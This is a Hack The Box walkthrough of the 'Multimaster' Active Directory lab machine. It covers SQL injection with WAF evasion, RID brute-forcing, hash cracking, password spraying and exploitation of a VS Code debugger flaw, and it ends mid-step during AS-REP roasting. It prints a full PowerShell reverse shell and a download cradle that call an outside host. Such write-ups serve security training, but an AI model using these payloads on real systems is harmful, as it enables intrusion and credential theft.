[HTB] Multimaster
The Multimaster machine has been created by MinatoTW and egre55. This is an insane Windows Machine with a strong focus on Active Directory exploitation. This box was really tricky, more CTF-style than real-world scenarios as the exploitation path was a bit weird, but it was an insane box so, no surprise here. However, some of the attacks were fun like the SQL injection and the VS Code exploit.
If you didn’t solve this challenge and just look for answers, first you should take a look at this mind map from Orange Cyberdefense and try again. It could give you some hints for attack paths when dealing with an Active Directory.
Note: All the actions performed against the target machine have been done with a standard Kali Linux machine. You can download Kali from the official website here.
Reconnaissance
In a penetration test or red team, reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting.
This information can then be leveraged by an adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute initial access, to scope and prioritize post-compromise objectives, or to drive and lead further reconnaissance efforts. Here, our only piece of information is an IP address.
Scan with Nmap
Let’s start with a classic service scan with Nmap in order to reveal some of the ports open on the machine.
Note: Always allow a few minutes after the start of an HTB box to make sure that all the services are properly running. If you scan the machine right away, you may miss some ports that should be open.
$ nmap -Pn -sV 10.129.247.110
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-05 09:05 EDT
Nmap scan report for 10.129.247.110
Host is up (0.015s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-05 13:12:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGACORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.81 seconds
Remember: By default, Nmap will scans the 1000 most common TCP ports on the targeted host(s). Make sure to read the documentation if you need to scan more ports or change default behaviors.
Here the host seems to be the domain controller of megacorp.local. We have a few interesting ports open including an HTTP (80/TCP) port and an RDP (3389/TCP) port.
HTTP Recon
Let’s start with a bit of HTTP recon. By looking at the website hosted at http://10.129.247.110 we found a login page. However, as per the error message, the login system does not seem to be working.
Another interesting finding was the Colleague Finder page. This page allowed us to get usernames.
Here we used Burp Suite, a well-known web proxy, in order to interact with the requests. By intercepting the HTTP POST request sent to the web server, it was possible to identify the name parameter. Maybe we could also try an SQL injection.
As we can see, by sending a request to /api/getColleagues with the parameter name set as “a” we get multiple results. Note that we are dealing with the JSON format. Now let’s try to send a single quote (‘) in the name parameter.
This is interesting, we got an error message. Maybe we have an injection point, however, the error code could also indicate the presence of a WAF (Web Application Firewall) and we may need to encode our requests.
SQL Injection
A SQL injection attack consists of the insertion of an SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data, execute administration operations on the database , recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.
Recon
Let’s keep exploring this injection point. First, we will encode our single quote. Here we used a URL encoding scheme where all non-alphanumeric characters will be replaced with a percent (%) sign followed by two (2) hex digits.
This time we don’t have any error, but we also don’t have any results. Given we are dealing with JSON, we may need to use another encoding scheme, like Unicode. In JSON, Unicode is represented like this \uXXXX where the X’s represent the hexadecimal value of our character.
Nice, given we got null as response, we may have broken the request on the server side. Let’s see if we can use sqlmap to automate this SQL injection.
Exploitation
Here, we saved the Burp Suite POST request in post_me.txt and specified the charunicodeescape tamper script to encode the queries performed by sqlmap
. The --delay 3
was found to be enough to avoid being blocked by the WAF.
Note: It took lots of time to find the proper sqlmap
command. It was due to the WAF present on the remote system that was blocking us when sending multiple query in a row.
$ sqlmap -r post_me.txt --tamper=charunicodeescape --delay 3 --level 5 --risk 3 --dbms=mssql -technique=U --batch --dbs -v 3
...[snip]...
[13:05:08] [INFO] parsing HTTP request from 'post_me.txt'
[13:05:08] [DEBUG] not a valid WebScarab log data
[13:05:08] [DEBUG] cleaning up configuration parameters
[13:05:08] [INFO] loading tamper module 'charunicodeescape'
...[snip]...
sqlmap identified the following injection point(s) with a total of 64 HTTP(s) requests:
---
Parameter: JSON name ((custom) POST)
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: {"name":"test' UNION ALL SELECT 49,CHAR(113)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(113)+CHAR(103)+CHAR(115)+CHAR(105)+CHAR(112)+CHAR(81)+CHAR(103)+CHAR(102)+CHAR(83)+CHAR(100)+CHAR(80)+CHAR(108)+CHAR(101)+CHAR(105)+CHAR(114)+CHAR(118)+CHAR(68)+CHAR(107)+CHAR(89)+CHAR(110)+CHAR(112)+CHAR(114)+CHAR(67)+CHAR(84)+CHAR(120)+CHAR(86)+CHAR(73)+CHAR(114)+CHAR(90)+CHAR(69)+CHAR(83)+CHAR(105)+CHAR(74)+CHAR(116)+CHAR(98)+CHAR(68)+CHAR(108)+CHAR(79)+CHAR(115)+CHAR(80)+CHAR(88)+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(106)+CHAR(113),49,49,49-- VUSA"}
Vector: UNION ALL SELECT 49,[QUERY],49,49,49[GENERIC_SQL_COMMENT]
---
...[snip]...
[13:08:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2019 or 10 or 2016
web application technology: ASP.NET 4.0.30319, Microsoft IIS 10.0, ASP.NET
back-end DBMS: Microsoft SQL Server 2017
[13:08:44] [INFO] fetching database names
available databases [5]:
[*] Hub_DB
[*] master
[*] model
[*] msdb
[*] tempdb
After finding the injection point and a potential query using sqlmap
, we were able to discover a few databases (due to the --dbs
switch). Most of them are system databases, but the Hub_DB is probably related to the application.
Let’s execute sqlmap
with the --dump-all
switch to dump all databases tables entries and the --exclude-sysdbs
to avoid the extraction of system databases.
$ sqlmap -r post_me.txt --tamper=charunicodeescape --delay 3 --level 5 --risk 3 --dbms=mssql -technique=U --batch --dump-all --exclude-sysdbs -v 3
...[snip]...
[13:12:28] [INFO] parsing HTTP request from 'post_me.txt'
[13:12:28] [DEBUG] not a valid WebScarab log data
[13:12:28] [DEBUG] cleaning up configuration parameters
[13:12:28] [INFO] loading tamper module 'charunicodeescape'
...[snip]...
[13:12:41] [INFO] fetching entries for table 'Colleagues' in database 'Hub_DB'
Database: Hub_DB
Table: Colleagues
[17 entries]
+----+----------------------+----------------------+-------------+----------------------+
| id | name | email | image | position |
+----+----------------------+----------------------+-------------+----------------------+
| 1 | Sarina Bauer | sbauer@megacorp.htb | sbauer.jpg | Junior Developer |
| 2 | Octavia Kent | okent@megacorp.htb | okent.jpg | Senior Consultant |
| 3 | Christian Kane | ckane@megacorp.htb | ckane.jpg | Assistant Manager |
| 4 | Kimberly Page | kpage@megacorp.htb | kpage.jpg | Financial Analyst |
| 5 | Shayna Stafford | shayna@megacorp.htb | shayna.jpg | HR Manager |
| 6 | James Houston | james@megacorp.htb | james.jpg | QA Lead |
| 7 | Connor York | cyork@megacorp.htb | cyork.jpg | Web Developer |
| 8 | Reya Martin | rmartin@megacorp.htb | rmartin.jpg | Tech Support |
| 9 | Zac Curtis | zac@magacorp.htb | zac.jpg | Junior Analyst |
| 10 | Jorden Mclean | jorden@megacorp.htb | jorden.jpg | Full-Stack Developer |
| 11 | Alyx Walters | alyx@megacorp.htb | alyx.jpg | Automation Engineer |
| 12 | Ian Lee | ilee@megacorp.htb | ilee.jpg | Internal Auditor |
| 13 | Nikola Bourne | nbourne@megacorp.htb | nbourne.jpg | Head of Accounts |
| 14 | Zachery Powers | zpowers@megacorp.htb | zpowers.jpg | Credit Analyst |
| 15 | Alessandro Dominguez | aldom@megacorp.htb | aldom.jpg | Senior Web Developer |
| 16 | MinatoTW | minato@megacorp.htb | minato.jpg | CEO |
| 17 | egre55 | egre55@megacorp.htb | egre55.jpg | CEO |
+----+----------------------+----------------------+-------------+----------------------+
...[snip]...
[13:12:47] [INFO] fetching entries for table 'Logins' in database 'Hub_DB'
Database: Hub_DB
Table: Logins
[17 entries]
+----+--------------------------------------------------------------------------------------------------+----------+
| id | password | username |
+----+--------------------------------------------------------------------------------------------------+----------+
| 1 | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 | sbauer |
| 2 | fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa | okent |
| 3 | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 | ckane |
| 4 | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 | kpage |
| 5 | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 | shayna |
| 6 | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 | james |
| 7 | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 | cyork |
| 8 | fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa | rmartin |
| 9 | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 | zac |
| 10 | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 | jorden |
| 11 | fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa | alyx |
| 12 | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 | ilee |
| 13 | fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa | nbourne |
| 14 | 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813 | zpowers |
| 15 | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 | aldom |
| 16 | cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc | minatotw |
| 17 | cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc | egre55 |
+----+--------------------------------------------------------------------------------------------------+----------+
Awesome! We now have a complete list of usernames and password hashes.
Hashes Cracking
As the hash format does not seem to be familiar, we used a random hash identifier website to find out what it is. According to the website, the hash format might be Keccak-384, which is the algorithm used by SHA-3.
Let’s go to the hashcat hash reference to see what kind of hash-mode we need to use in order to crack those passwords. Then, we can run hashcat
, with the following command:
hashcat -a 0 -m 17900 hashes /usr/share/wordlists/rockyou.txt
All the hashes were cracked execpt for the minatotw and egre55 users.
banking1
finance1
password1
Password Spraying
Let’s see if we can find a valid account on the remote machine with a password spraying attack. A password spraying attack uses a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials.
$ crackmapexec smb 10.129.247.110 -u users.txt -p pass.txt
SMB 10.129.247.110 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\sbauer:banking1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\sbauer:finance1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\sbauer:password1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\okent:banking1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\okent:finance1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\okent:password1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\ckane:banking1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\ckane:finance1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\ckane:password1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\kpage:banking1 STATUS_LOGON_FAILURE
...[snip]...
No luck and this where we got stuck for a while…
SQL Injection (again)
After multiple dead ends and rabbit holes, another SQL injection path was found.
SIDs or RIDs
It took lots of time to find this reconnaissance vector, but it seems it is possible to do Active Directory enumeration via an MSSQL injection using RID brute-force to find other usernames.
For domain accounts, the SID of a security principal is created by concatenating the SID of the domain with a relative identifier (RID) for the account (if you want more details Microsoft provides an extensive description of security identifiers). So, the concept is simple, we need to find the SID of the domain then, iterating over a range of RIDs to determine names for each of the objects. That way, it is possible to discover potential users that were not present in the database.
Here, with the SUSER_SID() function we can get the security identification number (SID) for a specified login name and with the SUSER_SNAME() function, we can get the login name associated with a security identification number (SID).
There are many well-known RID like 512 for the Domain Admins group. Let’s build a request to find out what if this attack works.
hello' UNION SELECT 1,sys.fn_varbintohexstr(SUSER_SID('MEGACORP\Domain Admins')),3,4,5--
Note that we used the sys.fn_varbintohexstr function to convert the SID to hexadecimal since SUSER_SID() return a binary value.
Then, using CyberChef and the Escape Unicode Characters module, we can encode our request.
Finally, we can send our payload using Burp.
It worked! The obtained SID value (hexadecimal) is 56 bytes. The first 48 bytes are domain SID and the remaining 8 bytes are the RID. Now we have:
- The full SID **0x0105000000000005150000001c00d1bcd181f1492bdfc23600020000** (58 bytes)
- The domain SID **0x0105000000000005150000001c00d1bcd181f1492bdfc236** (48 bytes)
- The *Domain Admins* RID **0x00020000** (8 bytes)
The RID have to be reversed, 0x00000200, which is 512 in decimal the Domain Admins RID.
As another proof of concept, given we now have the domain SID, let’s see if we can build the Adminstrator’s account SID (RID 500):
- **500** in hexadecimal is **0x1F4**
- We pad it with 0's **0x000001F4**
- We reverse it **0xf4010000**
- We add the domain SID **0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000**
It will give the following request:
hello' UNION SELECT 1,SUSER_SNAME(0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000),3,4,5--
Now, we just need to encode it with CyberChef and send it through Burp.
Great, it worked. Let’s do a small Python script to automate that and find valid SIDs.
import json
import requests
from time import sleep
url = 'http://10.129.247.110/api/getColleagues'
# Encode our payload
def encode_me(str):
val = []
for i in str:
val.append("\\u00"+hex(ord(i)).split("x")[1])
return ''.join([i for i in val])
# Iterate RID
sid = ''
for i in range(500,10000):
i = hex(i)[2:].upper()
if len(i) < 4:
i = '0' + i
# Reverse our RID
t = bytearray.fromhex(i)
t.reverse()
t = ''.join(format(x,'02x') for x in t).upper()+'0'*4
# Build the request
sid = '0x0105000000000005150000001c00d1bcd181f1492bdfc236{}'.format(t)
payload = "hello' UNION SELECT 1,SUSER_SNAME({}),3,4,5--".format(sid)
r = requests.post(url,data='{"name":"'+ encode_me(payload) + '"}',headers={'Content-Type': 'Application/json'})
user = json.loads(r.text)[0]["name"]
if user:
print(user)
# Sleep to avoid triggering the WAF
sleep(3)
We did an iteration from RID 500 to RID 10000. After a while, we got some new users:
$ python3 sqli.py
...[snip]...
MEGACORP\svc-nas
MEGACORP\Privileged IT Accounts
MEGACORP\tushikikatomo
MEGACORP\andrew
MEGACORP\lana
Initial Access
WinRM
With these new usernames, we can retry our password spraying attack and find out if we have valid credentials.
$ crackmapexec smb 10.129.247.110 -u users.txt -p pass.txt --continue-on-success
SMB 10.129.247.110 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:banking1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:finance1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:password1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\tushikikatomo:banking1 STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [+] MEGACORP.LOCAL\tushikikatomo:finance1
...[snip]...
Finally! We have valid credentials for the tushikikatomo domain account (tushikikatomo:finance1
).
Again, with CrackMapExec, we can check if the user’s can access to the remote machine with WinRM.
$ crackmapexec winrm 10.129.247.110 -u tushikikatomo -p finance1
SMB 10.129.247.110 5985 MULTIMASTER [*] Windows 10.0 Build 14393 (name:MULTIMASTER) (domain:MEGACORP.LOCAL)
HTTP 10.129.247.110 5985 MULTIMASTER [*] http://10.129.247.110:5985/wsman
WINRM 10.129.247.110 5985 MULTIMASTER [+] MEGACORP.LOCAL\tushikikatomo:finance1 (Pwn3d!)
We now have a remote shell access and the first flag.
$ evil-winrm -i 10.129.247.110 -u tushikikatomo -p finance1
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alcibiades\Documents> cd ..
*Evil-WinRM* PS C:\Users\alcibiades> cd Desktop
*Evil-WinRM* PS C:\Users\alcibiades\Desktop> ls
Directory: C:\Users\alcibiades\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/5/2022 10:07 AM 34 user.txt
Host Recon
Using PrivescCheck, a script that aims to enumerate common Windows configuration issues, let’s see if we have any issues that can be leveraged for local privilege escalation.
Note that we used the local Apache service to host the file and download it from the remote machine. The -Extended
flag aims to gather more information.
*Evil-WinRM* PS C:\Users\alcibiades\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.20/PrivescCheck.ps1'); Invoke-PrivescCheck -Extended
...[snip]...
+------+------------------------------------------------+------+
| TEST | APPS > Non-default Apps | INFO |
+------+------------------------------------------------+------+
| DESC | Enumerate non-default and third-party applications by |
| | parsing the registry. |
+------+-------------------------------------------------------+
[*] Found 8 result(s).
Name FullName
---- --------
Microsoft SQL Server C:\Program Files (x86)\Microsoft SQL Server
Microsoft Visual Studio 10.0 C:\Program Files (x86)\Microsoft Visual Studio 10.0
Microsoft C:\Program Files\Microsoft
Microsoft SQL Server C:\Program Files\Microsoft SQL Server
Microsoft Visual Studio 10.0 C:\Program Files\Microsoft Visual Studio 10.0
Microsoft VS Code C:\Program Files\Microsoft VS Code
VMware C:\Program Files\VMware
VMware Tools C:\Program Files\VMware\VMware Tools
...[snip]...
+------+------------------------------------------------+------+
| TEST | APPS > Running Processes | INFO |
+------+------------------------------------------------+------+
| DESC | List processes that are not owned by the current user |
| | and filter out common processes such as |
| | 'svchost.exe'. |
+------+-------------------------------------------------------+
[*] Found 37 result(s).
Name Id Path SessionId User
---- -- ---- --------- ----
Code 888 1
Code 2408 1
Code 2876 1
Code 3760 1
Code 4864 1
Code 4964 1
Code 5928 1
Following the scan, we didn’t find any specific vulnerability. However, PrivescCheck showed that we have Microsoft VS Code installed and it is executed multiple time on the machine. It’s definitely weird.
Let’s see which version it is running.
*Evil-WinRM* PS C:\Program Files\Microsoft VS Code> (get-command .\Code).version
Major Minor Build Revision
----- ----- ----- --------
1 37 1 0
After a quick search, we found out that this version was vulnerable to the CVE-2019-1414 exploit.
Basically, an elevation of privilege vulnerability exists in Visual Studio Code when it exposes a debug listener to users of a local computer. A local attacker who successfully exploited the vulnerability could inject arbitrary code to run in the context of the current user. If the current user is logged on with administrative user rights, an attacker could take control of the affected system.
Privilege Escalation
Depending on which user is running VS Code, we might get elevated privileges on the target computer.
CVE-2019-1414
We found a nice post detailing how to exploit this vulnerability. Moreover, Tavis Ormandy wrote a tool, cefdebug, that can help us for this exploitation.
First, let’s download the release of cefdebug
and upload it to the remote machine. Here we used C:\Windows\Tasks as a target folder.
*Evil-WinRM* PS C:\Windows\Tasks> upload /home/ax/Downloads/cefdebug/cefdebug.exe
Info: Uploading /home/ax/Downloads/cefdebug/cefdebug.exe to C:\Windows\Tasks\cefdebug.exe
Data: 346112 bytes of 346112 bytes copied
Info: Upload successful!
Then, we can scan the local machine to find CEF debuggers. Note that cefdebug
could generate some errors, but it does not impact the results.
*Evil-WinRM* PS C:\Windows\Tasks> .\cefdebug.exe
cefdebug.exe : [2022/06/05 12:48:20:6757] U: There are 3 tcp sockets in state listen.
+ CategoryInfo : NotSpecified: ([2022/06/05 12:...n state listen.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
[2022/06/05 12:48:40:7132] U: There were 1 servers that appear to be CEF debuggers.
[2022/06/05 12:48:40:7132] U: ws://127.0.0.1:42816/1c6e24ab-61a4-4ebc-a32f-e841c1f91476
We found a server that appears to be CEF debuggers. Nice, we might be able to get a shell as the user running VS Code. To avoid triggering a potential anti-malware solution, we used the following PowerShell reverse shell.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.20',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();
Then, we stared a listener on the Kali machine.
$ sudo nc -lnvp 8080
Finally, we can use a PowerShell download cradle and cefdebug.exe
to download and execute the reverse shell using the servers that run the CEF debuggers.
.\cefdebug.exe --url ws://127.0.0.1:42816/1c6e24ab-61a4-4ebc-a32f-e841c1f91476 --code "process.mainModule.require('child_process').exec('powershell IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.20/shell02.ps1\')')"
Awesome, we got a shell as cyork.
$ sudo nc -lnvp 8080
listening on [any] 8080 ...
connect to [10.10.14.20] from (UNKNOWN) [10.129.247.110] 50437
PSReverseShell# whoami
megacorp\cyork
Let’s do some reconnaissance as cyork.
More recon
After looking around for a while, we discovered that cyork was able to read the content of c:\inetpub and discovered a DLL called MultimasterAPI.dll.
PSReverseShell# cd c:\inetpub\wwwroot\bin
PSReverseShell# dir
Directory: C:\inetpub\wwwroot\bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/7/2020 9:28 PM roslyn
-a---- 2/21/2013 7:13 PM 102912 Antlr3.Runtime.dll
-a---- 2/21/2013 7:13 PM 431616 Antlr3.Runtime.pdb
-a---- 5/24/2018 1:08 AM 40080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
-a---- 7/24/2012 11:18 PM 45416 Microsoft.Web.Infrastructure.dll
-a---- 1/9/2020 4:13 AM 13824 MultimasterAPI.dll
-a---- 1/9/2020 4:13 AM 28160 MultimasterAPI.pdb
-a---- 2/17/2018 8:14 PM 664576 Newtonsoft.Json.dll
-a---- 11/27/2018 11:30 PM 178808 System.Net.Http.Formatting.dll
-a---- 11/27/2018 11:28 PM 27768 System.Web.Cors.dll
-a---- 1/27/2015 2:34 PM 139976 System.Web.Helpers.dll
-a---- 11/27/2018 11:31 PM 39352 System.Web.Http.Cors.dll
-a---- 11/27/2018 11:31 PM 455096 System.Web.Http.dll
-a---- 1/31/2018 10:49 PM 77520 System.Web.Http.WebHost.dll
-a---- 1/27/2015 2:32 PM 566472 System.Web.Mvc.dll
-a---- 2/11/2014 1:56 AM 70864 System.Web.Optimization.dll
-a---- 1/27/2015 2:32 PM 272072 System.Web.Razor.dll
-a---- 1/27/2015 2:34 PM 41672 System.Web.WebPages.Deployment.dll
-a---- 1/27/2015 2:34 PM 211656 System.Web.WebPages.dll
-a---- 1/27/2015 2:34 PM 39624 System.Web.WebPages.Razor.dll
-a---- 7/17/2013 4:33 AM 1276568 WebGrease.dll
Reverse Engineering
Alright, let’s download MultimasterAPI.dll and fire up a Windows machine with dnSpy installed. dnSpy is a debugger and .NET assembly editor. You can use it to edit and debug assemblies even if you don’t have any source code available.
After a few minutes of reverse, we found a database connection string with an hardcoded password.
Using crackmapexec
we can execute another password spraying attack using this password and see if it yields any results.
$ crackmapexec smb 10.129.247.110 -u users.txt -p 'D3veL0pM3nT!'
SMB 10.129.247.110 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\tushikikatomo:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\andrew:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [-] MEGACORP.LOCAL\lana:D3veL0pM3nT! STATUS_LOGON_FAILURE
SMB 10.129.247.110 445 MULTIMASTER [+] MEGACORP.LOCAL\sbauer:D3veL0pM3nT!
Nice, we have credentials for the sbauer
domain account (sbauer:D3veL0pM3nT!
).
Domain Recon
By using the credentials for sbauer
, we can upload SharpHound.exe
and see if we have any interesting attack paths.
$ evil-winrm -i 10.129.247.110 -u sbauer -p 'D3veL0pM3nT!'
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sbauer\desktop> wget http://10.10.14.20/SharpHound.exe -O SharpHound.exe
*Evil-WinRM* PS C:\Users\sbauer\desktop> .\SharpHound.exe
2022-06-05T13:21:01.7706413-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-06-05T13:21:01.7862168-07:00|INFORMATION|Initializing SharpHound at 1:21 PM on 6/5/2022
2022-06-05T13:21:26.1161228-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-06-05T13:21:26.2491950-07:00|INFORMATION|Beginning LDAP search for MEGACORP.LOCAL
2022-06-05T13:21:26.2846381-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-06-05T13:21:26.2846381-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-06-05T13:21:57.1669174-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM
2022-06-05T13:22:27.1818070-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 38 MB RAM
2022-06-05T13:22:35.2786051-07:00|INFORMATION|Consumers finished, closing output channel
2022-06-05T13:22:35.3098556-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2022-06-05T13:22:35.6518870-07:00|INFORMATION|Status: 127 objects finished (+127 1.84058)/s -- Using 40 MB RAM
2022-06-05T13:22:35.6518870-07:00|INFORMATION|Enumeration finished in 00:01:09.4223856
2022-06-05T13:22:35.7925198-07:00|INFORMATION|SharpHound Enumeration Completed at 1:22 PM on 6/5/2022! Happy Graphing!
*Evil-WinRM* PS C:\Users\sbauer\desktop> ls
Directory: C:\Users\sbauer\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/5/2022 1:22 PM 13458 20220605132235_BloodHound.zip
-a---- 6/5/2022 1:20 PM 906752 SharpHound.exe
-a---- 6/5/2022 1:22 PM 13441 YThiODEyNWUtMTcwMC00YWY2LTgwZmYtNmIxMWU0MTM4ZDg5.bin
Now, you can import the generated file (20220605132235_BloodHound.zip) in BloodHound by running sudo neo4j start
, then execute BloodHound in another terminal with the bloodhound
command.
The user sbauer
has GenericWrite access to the user jorden
.
Generic write access grants you the ability to write to any non-protected attribute on the target object, including “members” for a group, and “serviceprincipalnames” for a user.
Given we would like to have more access to the remote computer, let’s see if we can get the password hash for jorden
. The easiest path would be to enable the “Do not require Kerberos preauthentication” property on jorden
.
ASREPRoast
As a reminder, AS-REP roasting is a technique that allows retrieving password hashes for users that have the “Do not require Kerberos preauthentication” property selected. Indeed, if a user does not have Kerberos pre-authentication enabled, an AS-REP can be requested for that user, and part of the reply can be cracked offline to recover their plaintext password.
With our GenericWrite privilege, it is easy to do.
*Evil-WinRM* PS C:\Users\sbauer\desktop> Get-ADUser jorden | Set-ADAccountControl -doesnotrequirepreauth $true
Now, using impacket-GetNPUsers, which can list and get TGTs for the users that have the property set to UF_DONT_REQUIRE_PREAUTH, we can retrieve jorden hash.
$ impacket-GetNPUsers megacorp.local/jorden -dc-ip 10.129.247.110
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
[*] Cannot authenticate jorden, getting its TGT
